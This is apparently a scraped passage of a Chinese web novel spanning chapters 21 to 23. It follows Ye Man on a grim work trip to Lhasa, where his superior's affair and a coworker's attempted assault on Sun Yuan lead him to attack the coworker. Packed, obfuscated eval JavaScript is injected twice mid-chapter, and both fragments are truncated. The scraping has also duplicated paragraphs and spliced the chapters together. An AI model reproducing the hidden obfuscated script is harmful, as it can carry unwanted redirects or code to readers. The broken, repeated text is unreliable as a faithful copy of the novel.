“紧锣密鼓”是副所长表现出来的,他大早上将一群人叫起来,是按照平原起床的时间,甚至更早。 而这个时间,当地单位还没开门,当领导以“让合作单位看看我们的工作态度”为由,把一群刚到西藏,还没有休息好的倒霉蛋们带到人家公司时,公司门口安安静静,上着大锁,一个人都没有。 这时是早上七点半,距离人家上班还有两个半小时,他们只能傻子一样站在原地等。 叶满很生气,所有人都很生气,李梅梅甚至都在和他闹脾气,但是副所长很威严,对众人说:“那就先去吃饭。” 他们在一个角落里找到了一家私菜馆,每个人都点了一份面,还有一份奶茶,没有菜,价格很贵。 叶满吃不惯,他的舌头还没有熟悉这里的水,胃还没熟悉这里的茶。每一次接触到新的食物时,叶满总是会打起十二分精神,因为他必须确保自己脆弱的肠胃不会抗议,避免生病了给人带去麻烦。 他慢慢吃着这些,觉得奶茶味道奇怪,不香也不醇,面也夹生。 副所长说这就是藏面特色,可这压根就不是一家藏餐厅。 五个人吃一顿早餐,一共花了125,副所长在辛勤地控制预算,他们根本吃不饱。 第一天开始工作,进入那个单位时叶满就察觉了不对,他们不像以往出差那样迅速投入工作。 相反的,副所长并不催促他们干活,而对方的材料给的也很随意,有时候要一份材料需要催三四次,换三四个人。 21.第 21 章 他慢慢吃着这些,觉得奶茶味道奇怪,不香也不醇,面也夹生。 副所长说这就是藏面特色,可这压根就不是一家藏餐厅。 五个人吃一顿早餐,一共花了125,副所长在辛勤地控制预算,他们根本吃不饱。 第一天开始工作,进入那个单位时叶满就察觉了不对,他们不像以往出差那样迅速投入工作。 相反的,副所长并不催促他们干活,而对方的材料给的也很随意,有时候要一份材料需要催三四次,换三四个人。 这样进度就非常缓慢,回家的日子遥遥无期。 除了最初几天在公司待着,之后副所长允许他们自由活动。 他们可以去布达拉宫转转,或者去街上。 于是一群人就开始在拉萨街头闲逛。 说起来,叶满对这些其实毫无兴趣,尤其和同事们在一起,他觉得比起游玩,这更像加班。 早上李梅梅单方面孤立了他们所有人,因为前一天他们决定去布达拉宫,李梅梅忘记预约,第二天去不了,她希望大家等她一天,但是没有人理她。 副所长整天见头不见尾,也没陪她。 闹了一顿,所有人都不开心,仨人就出来了。 布达拉宫。 叶满走一步歇三次,实在不愿意再走,孙媛他俩上去了,他就坐在这个高原白色宫殿的斜坡上,对景色丝毫无兴趣,低头玩手机。 墨镜阻隔了一部分七月高原刺眼的光线,他垂眸仔仔细细在朋友圈编辑文案。 他一年也发不了几条朋友圈,只发一些他认为有点意义的动态。 他拍了一张布宫的照片,然后配文:“西藏布达拉宫,今天很晒。” 他不打算继续向上走了,因为他觉得自己越来越困。 手机震动了一下,他收到一条新消息。 来自扎布吉格:“你在布宫吗?我们距离很近。” 叶满和这位年轻人不熟,但是他能感受到对方的善意,他抿唇谨慎措辞,慢慢回复:“嗯,今天休息。” 扎布吉格:“你什么时候结束参观?我可以去找你玩吗?” 叶满立刻回:“不了,我还有事。” 这是来拉萨的第七天,叶满高反了。 他昨天终于忍不住洗了个澡,不知道是不是因为那个原因,今天就高反了。 他身体的各个部位集合在一起,向他发出严正抗议,告诉他它们需要氧气,否则就要开始罢工了。 叶满只能匆匆赶回。 合作的单位听说他高反,带来了一个大氧气罐,叶满开始躺在床上吸氧,整个人像一团抽了骨头的泥巴,歪在床上,连拿手机的力气都没有。 不止他这样,孙媛也在他隔壁吸氧,王壮壮坐在沙发上吸小氧气罐……他没高反,但是他说要预防预防,可叶满知道他只是想占便宜。 吸过氧后,叶满明显感觉好一点了,昏沉睡了过去,睡着时头还在疼,偏头痛,神经一跳一跳的。 接下来的日子里,他都没有脱离氧气罐,而他的工作也没有进展。 半个月过去,他们已经对拉萨没有丝毫好奇心,而叶满的体重已经减了快要五斤,孙媛减了六斤,连王壮壮的肉饼脸都颇有骨相。 所有人都面黄肌瘦。 没有其他原因,只是朴素地因为他们吃不好。 副所长早在一个星期前去其他地方出差,把他们留在这里,而预算掐在李梅梅手上。 他们四个人,在餐厅里点了一份蔬菜汤,四份蛋炒饭,花了一百多,李梅梅在不停按计算器,紧巴巴地省钱。 不知道还以为这钱是从她腰包里掏的呢。 孙媛想多要一份菜,李梅梅立刻翻白眼,说:“你想吃就自己付钱,单位不报销。” 单位报销食宿,大领导也没规定谁必须吃多少。 但是李梅梅代表副所长,她这么说了,再吃别的就得算自己头上,自费出差。 叶满很烦,他看着眼前已经连续吃了半个月的东西,一点胃口都没有。 他快要被这样一眼望不到头的工作搞崩溃了,被每一次对接对方的傲慢态度和踢皮球似的话术搞得失去耐心,他不喜欢那个窗户狭小的酒店房间,还有不定时需要补充的氧气,更讨厌每天不能好好补充体力,只能吃这些东西。 王壮壮也加入了争吵,拿着手机要给所长打电话,让他评理,几个人吵吵嚷嚷,让其他客人都看了过来。 叶满放下筷子,一言不发地离开现场。 隐约的藏香气味飘至鼻间,他轻轻嗅了嗅,抬头,看向远处圣洁的山。 这里是很多人渴望来到的地方,但是叶满却没有半点感知,他只想快点回家。他感觉自己乱七八糟的,他的状态很久没像现在这样坏过了,现在他甚至没有一个自己独立的空间去休息。 副所长在这个月份即将结束时回到了拉萨,看到他们的工作进度时,第一次感到了着急,训斥了他们一顿,李梅梅站在他身边趾高气昂地对他们翻白眼。 晚上,叶满失眠了,他睁着眼睛听客厅里传来的声音。 夜晚的酒店很安静,静到能听到一门之隔针尖落地的声音。 男人压低的、带着笑意的声音说:“你这手怎么这么白?我女儿和你一样大,粗糙得像个男人。” 女人娇娇地埋怨:“怎么能这么说自己的女儿,当心我向她告状。” 男人:“告状我说得也是实话,你就是比她漂亮。” 女人:“我要是有你这样优秀的爸爸就好了,我一定会很幸福的。” 五十多岁的男人夹着嗓子,撒娇道:“有你才是我的幸福,我很想你。” 接下来,是那种恶心粘腻的声音,伴随着低喘。 他余光里隔壁床的王壮壮正用扭动着,喘息压抑。 叶满不知道如何是好,他想翻个身,在地上走两圈缓解焦躁,可他知道自己不能动。他好烦,也很孤单无措,他讨厌周围所有人,他觉得自己就要烂在这个环境里了,劣质空气蔓延,他好像也染上了污秽,不,他本来就是污秽。 “他们生我的气……”女人低喘着说:“因为他们总是想吃好的,我帮你控制预算,他们不满意, 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王壮壮也生气,他坐起来,在床上气得呼哧呼哧喘了半天,憋出一句:“要不咱们睡吧。” 叶满没吭声。 外面的声音一直持续了五分钟,然后沉寂下去。 叶满重新在床上躺下。 他觉得自己的大脑很迟钝,吃了半片安定片后的精神恍惚间,他莫名想起了小时候的一幕。 那是一个星星稀疏月亮铮明的晚上,小叶满跟在爸爸身后,踩着他的影子一起回家。 像水一样的月光,踩上去就好像能踏出一波波涟漪,干瘦的男人短短的影子边界分明,叶满低着头专心看脚下,生怕自己没有踩到,被路边伺机而动的鬼怪勾走魂魄,迷路回不了家。 爸爸的影子像一根绳子,没有松紧的绳子,叶满就像一个小狗。 离得太远,爸爸会严厉训斥他走得太慢,不专心跟着,如果出现在他眼前,叶满又会怕被他挑错,被他找理由骂,所以小叶满精心测算过,影子的长短正好,他可以踩在爸爸的脑袋上,不远不近,左脚换右脚,这样一直追着他。 那个男人从来不会牵他的手,即使在孩子很害怕的时候也不会,只在前面做着他“一家之主”的重要事情。 那时手机刚刚普及,追赶潮流的爸爸手上自然也有一部,他每天都把手机带在身上,而叶满只有少数时候才能有机会偷偷摸一摸、只是摸一摸。 月亮当头的时候,人的影子会变短,所以走着走着,叶满就离爸爸越来越近,他的说话声也变得清晰。 他的语气是叶满从未听过的宠溺与温柔,柔和亲昵得让叶满心神恍惚。 “我在想办法,你知道我心疼你。” “你等我……他们怎么能比过你?” “嗯,我过几天就去见你,我不会对不起你。” 小小年纪就已经心思超级敏感的叶满觉得自己的心跳得很快,他心里涌上一种厌恶和不安。 他模模糊糊听到那边是个女声。 22.第 22 章 “爸,”小叶满充满不安,仰着头看那个对他来说像巨人一样的男人背影,他问:“你要去哪里?” 男人已经挂断电话,正抽烟,闻言转头,有些惊讶地看叶满。 “你心疼谁?” “你在和谁说话?” 叶满攥着拳头,仰望他。 “你这孩子。”爸爸看起来有些心虚,所以难得对他和颜悦色,他叹了口气,说:“你怎么就不信我呢?” 一直到叶满长大,他仍记得爸爸说这话的场景,他觉得如果不是以抛弃这个家出轨为前提,爸爸那句话的出现就是不合理的。 他那时就开始对“家庭”概念产生了不信任,他认为爸爸随时都会离开他们的。 从那很久以后的后来,也就是现在的时间段不久以前,叶满回家过年。 妈妈说起来:“你爸年轻时还对那个初恋恋恋不舍呢,你看人家等他了吗?一把年纪了,还不是只有我要他。” 爸爸一幅纵容宠溺地看着妈妈。 而叶满很不舒服,在那个整整齐齐好像很幸福的三口之家里,他深低着头,在心里说道:“不要再说了,好恶心。” 你们不要再装作相爱了,好恶心。 不要生孩子,不要生下我,爸爸如果和别的女人在一起,生下的孩子一定很健康快乐。 你不要祸害我妈妈了,别装了,出轨的人都该死! …… 门外已经彻底没了声音。 药物发挥作用,叶满的意识已经模糊,他努力清醒,提醒自己——不要信任任何人。 第二天他们的团队添了人。 从冬城又赶来两个注册会计师,那是和他们完全不同级别的。 叶满和这些老师不熟,他们和叶满不在一个办公室,也不经常来单位。 叶满考了好几年也只过了两门,他脑子笨,又不自律,估计这辈子也没可能把注会考下来。 王壮壮期待地和叶满说,注会老师来了,伙食怎么也得改善一下了。 第二天,李梅梅真的加了菜,特意加了一份肉,不是牛羊肉,是鸡翅,一盘就是那么几个。 注会老师看了桌上一眼,没说什么,第一餐和他们一起吃,第二餐就自掏腰包吃自己的去了。 像是着急将前面的半个月时间补回来一样,副所长忽然宣布他们从今天开始要加班了。 叶满每天吸氧工作,有时候他也搞不清楚自己是不是缺氧,他觉得自己很烦,很累,很困,只能给自己通氧来进行心理安慰。 所有人的情绪都已经到了临界点,都在期盼回家的日子,连还算能忍耐的孙媛都哭了好几次。 一天夜里,她拿着自己点的外卖来到男生房间,精神萎靡地说:“我来找你们说说话。” 王壮壮很高兴,即便孙媛全身穿得整齐,可那双眼睛也仍在她身上上下打量,殷勤地说:“欢迎领导视察。” 语气油腻,十分惹人厌烦。 孙媛都没搭理他,拉了椅子坐在叶满床尾,把炸鸡腿放下,说:“别干了,吃点东西吧。” 房间并不大,窗户狭窄,两张床已经占了大部分地方。 叶满正对着电脑拉表格对数据,揉着眼睛爬到床尾,从里面拿起一块儿最小的鸡翅膀,塞进嘴里,继续回去看电脑。 孙媛叹了口气,说:“那晚你们都没睡着吧?” 这话一出,叶满滚动鼠标的手顿了顿,王壮壮立刻兴致勃勃,伸出肉腻腻的手,左手比出食指,右手拢起一个圈,然后往里一怼。 随后,还冲孙媛不怀好意地一笑。 叶满敏感地觉得他的笑并不是针对那晚的事,而是试探孙媛的边界,他正在对这个女人进行精神侵略。 他觉得心里厌恶,难得主动开口:“这个鸡翅很好吃。” 孙媛果然不怎么搭理王壮壮,又递给叶满一杯饮料,说:“肯德基啊,能不好吃吗?” 叶满平时也很少吃肯德基的,这玩意儿很贵,不是他的工资水平可以随时吃的。 他有些不好意思了,想找点东西回礼,但是他这儿什么都没有。 孙媛显然也不介意这个,她看向叶满,开口道:“我打算回去了。” 叶满一愣,有些羡慕地开口:“你的工作做完了吗?我的不知道什么时候才能完……” “不是。”孙媛打断他,说:“我不干了,我受不了了,我准备和所长说这边发生的事,现在打电话,就算开除我我也不干了。” 她显然已经情绪压抑到极点,有点偏激了。 王壮壮连忙说:“别啊,再忍忍,不是有注会过来了吗?” 他说完以后,发现房间里很安静,没人和他一起劝说,他看向叶满,发现那个所里的老实人也在发呆,不知道在想什么。 他瞪大眼睛,往紧闭的房门看了眼,压低声音道:“你不会也想回去吧?” “再不回去,我家里那盆蒜可能要枯死了。”叶满低下头,又继续慢慢啃那个鸡翅膀。 这是什么烂理由? 王壮壮无语。 但是他不知道叶满是认真的,他每天都挂念自己的那盆植物。 他没有人可以托付,所以每一次出差前他都会妥善安置那盆蒜。 他把那个花盆放在了卧室窗外,牢牢捆绑在护栏里,如果冬城下雨,它就不会缺水,但是这些天他一直关注天气预报,那边很干旱。 总而言之,就是叶满也想回去。 孙媛又看向王壮壮。 “谁愿意在这里待着啊?”打工人正在觉醒自我意识,他越说越生气:“不知道这单位是他俩开的呢,一幅老板老板娘的架势,还直接在客厅就搞起来了。” 他这人很容易上头,一拍床,说:“打电话,你敢打我就敢和你一起回。” 孙媛点点头,当场拿出手机,拨通电话。 电话开的免提,这会儿已经挺晚,拉萨都天黑了。 老所长那边估计已经歇下,说话迷迷糊糊的。 孙媛这人性子直,看得出她已经忍挺久了,开口说话都有点咄咄逼人,把对面的老头儿搞得蒙圈。 “所长,这活儿我们干不了了,你换能干的过来吧。”话出口,估计是也不打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他很厌烦背叛下的这种事,那个男人背叛了家庭、子女,他就像一个没有思想的肉虫,只会蠕动着他恶心的东西做恶。 王壮壮的呼吸有些粗重。 黑暗是叶满的舒适区,他的所有敏感触角会偷偷探出,去小心探知眼睛看不到的东西,来保证自己在黑暗中安全生存,这是他很小时候就练就的技能。 他触碰到了王壮壮粘腻的呼吸,那呼出的气体极具污染性,臭烘烘的,仿佛隔着床与床之间的间隙扑到了叶满的指尖,坏掉的猪油蒙上了皮肤,堵得他无法呼吸。 王壮壮是个人渣,他在特意喘给孙媛听。 叶满觉得自己正一点点陷入泥潭里,泥潭里是自己挣脱不了的环境和一眼看到头的未来。 如果是别人在这里,王壮壮一定不敢,可叶满太怂了,他无所顾忌。 “看你一天咋咋呼呼的,肯定没有男人要吧?”王壮壮吊儿郎当笑着说:“平时不觉得寂寞吗?” 如果是韩竞在这里呢? 叶满莫名其妙想起了那个人,那是叶满从小到大遇到过最强壮的男人,如果他在这里,王壮壮说不准连喘气都不敢。 “孙媛,”王壮壮开了口,低低道:“你有男朋友吗?” 孙媛往叶满身边躲了躲,没吭声。 叶满觉得自己的心里有一团火在烧,越来越旺,他试图扑灭它,但是看不到世界的黑暗好像成为孕育坏脾气的温床。 23.第 23 章 叶满过去那二十七年里,总是觉得自己很扭曲,情绪不稳定。 他爆发过一次,就在不久之前。他仍记得自己对父亲暴怒时不可自控的恐怖。 外面糜烂的声音还在继续—— “你们同岁,但是你比她可漂亮多了。” “你要是我女儿该多好?” “他们两个算什么?我早就忍了很久了。” 他和妈妈算什么? 叶满好像从未长大,时间在他身上的体现只是他的体型变大、头发变长,月光落下,他还是那个走在乡路上的小小影子。 那时叶满都六岁了啊。 六年里,那个男人一直和他的初恋、他的真爱在一起,那这个家算什么?他和妈妈算什么呢? “来哥这儿坐,”王壮壮低而宠溺地说:“我给你看个东西。” 漆黑的房间里,那样的背景音里,叶满混沌地感觉到孙媛抓住了自己的衣摆,紧紧扯着。 那个女人在害怕,她在求救。 叶满这个怂货,他甚至无法产生一点点威慑力,在别人看来,他没办法保护任何人。 他一向随波逐流,看到什么都淡淡的,从不多管闲事。 有人认为他这次也一样,会冷眼旁观,他不会想失去工作的,一旦叶满有什么反应,外面的人一定会察觉。 这个房间逼仄,床与床之间只有一个五十公分见方的小桌子,上面放了氧气罐。 三个人离得很近很近,呼吸都能互相察觉。 叶满不知道孙媛在想什么。 他和孙媛不算熟,也不了解她。 外面男女的声响让一个人热血沸腾,让另一个踩在了悬崖之上。在远离故土的异地,无人相识的三千米海拔高原,恶意和恐惧正在扩散。 叶满心脏跳得很厉害,越来越厉害,他觉得自己的大脑缺氧,发木发麻,他探出的触角察觉到王壮壮正要起身的趋势。 “叶满,咱俩一起吧。”王壮壮下了床,随意地邀请。 孙媛一下子放开了叶满的衣服。 那让叶满感到了一种难过和难堪,他从来不被信任。 多种情绪混杂在一起,让他无法分析自己的真实感受,他找不到出路,只能看到那些泥泞的情绪一直积压、积压。 “别碰她。”叶满低低道。 男同事走到两个人面前时,叶满说出了这句话。 王壮壮的手正按在裤腰,离得近了,叶满嗅到了多日未洗澡的腥臊味儿,带着热烘烘的粘稠。 他想吐。 他的大脑快要被煮沸了,几乎掀开头骨,说出的话却很小,像是呢喃,这样近的距离,甚至旁边的人都没听清。 “什么?”王壮壮懒懒散散说:“你不想就给哥让个地儿。” 叶满在那一刻溃堤了。 他在男同事猝不及防时猛地起身,狠狠将他推翻。 孙媛反应迅速,连滚带爬跑到门口,打开了灯。 等她回过头时,发现叶满正抄着氧气罐,凶狠地向那个死胖子砸下去。 那个老实木讷的青年一反常态,让孙媛几乎认不出,他站在床前,将那份量不轻的金属氧气罐毫无章法地砸向王壮壮,每一次都狠到用了全力,而那个刚刚试图侵犯她的男人,他竟然是光着屁股的,他早在黑暗中解开了裤子。 孙媛感觉到一阵毛骨悚然,下意识打开门,想要跑出去求救。 而门开的一瞬,客厅里纠缠的两个人也暴露在视野下。 她的大脑“嗡”的一声,听到叶满压抑而凶狠的声音说: “我说,让你别碰她。” “听懂了吗?” “垃圾!” “垃圾!” 她敞开的手机摄像头记录下了全部,并在叶满说那些话的时候眼泪砸了下来。 所有人都惊住,当一个老实人发怒的时候,会更加让人恐惧震撼。 王壮壮本来就是个欺软怕硬的怂货,现在只敢缩在床上,抱着头一声不敢吭。 孙媛害怕出事,连忙跑了过去,抱住叶满。 “叶满,快走。”孙媛边哭边说:“我们去报警。” “不要!别报警!”王壮壮猛地反应过来。 他抱着头往后缩,煤气罐一样的脑袋四处晃,终于看到在客厅里手忙脚乱穿衣服的男女,他找到救星一样:“所长!你看看叶满,他疯了!” 副所长的表情很快从慌乱变得恼怒,五十多岁的秃顶男人手忙脚乱穿好裤子,立刻拿出领导的风范,开口道:“大半夜不睡觉在干什么?工作完成了吗?” 叶满:“我不干了。” 他声音嘶哑,开口道:“我现在有很多钱,我不怕你们了。” 他喃喃说着那句话,不知道是在说给谁听。 在三千米海拔的高原,他这样剧烈活动下,气喘得厉害,他看着客厅里的男女,直白地说:“你们真恶心。” 在李梅梅刺耳的哭声,还有副所长的威胁里,叶满收拾了自己关上就能直接离开的行李箱,离开了那个套间。 此时,已经是拉萨的凌晨。 路上空无一人。 钢筋丛林里,没有自由与圣洁,他一个人行走在低温度的夜里,身上的短袖无法御寒。 “叶满。” 刚出酒店门口,有人从身后叫住他。 是孙媛。 她拖着行李跟了上来。 两个人就这样流浪在高原的夜里,一路无话地走着。 直至走不动,俩人在路牙子上坐下。 “我要给所长发消息。”孙媛已经不哭了,她很快又恢复了精神,握着手机说:“我不会放过他们。” 她亢奋得有点不正常,边向手上哈气边快速按手机。 而与之相对的,叶满却蜷缩了起来,刚刚的凶悍已经消失不见,他的指尖在发抖。 孙媛没发现,叶满正在害怕,他恐惧得攥紧手上的念珠,但是那念珠不是姥爷的桃木剑,没办法给他带来一点安慰。 他在这一刻不是在害怕失去工作,不是害怕自己打坏了人,他恐惧的是,自己变成了那个男人——发怒的瞬间,他完全继承了爸爸的暴戾基因,就好像一场血脉传承,在那一刻,从小的引导、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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民宿老板很快把身份证还给了他,笑着说:“没有,就是看你有点眼熟。” 叶满松了口气。 “第一次来拉萨?”老板翻着房卡,随口问道:“打算去哪儿玩?房间里都有地图和攻略,要是想组队用车,我能帮着联系。” 孙媛倒是兴致勃勃,她全身使不完的劲儿似的,和那小帅哥聊了起来。 叶满拉着行李跟在后面,闷不吭声地往楼梯上走。 叶满看到向上的楼梯栏杆上挂着彩色布条,从一楼向上的三层楼房的每一间门口都挂着藏式的门帘,此时都安安静静。 “房间里供氧,wifi密码8个8,这密码整个拉萨的酒店wifi都连得上,”老板开了个玩笑,然后热情周到地说:“可以添加一下微信,我给你们发一些攻略,有事也可以直接联系我。” 叶满的房间在三楼转角,有一面大窗,外面的路灯光线隐约透进来,房里安安静静,玻璃上只照着他一个人的影子。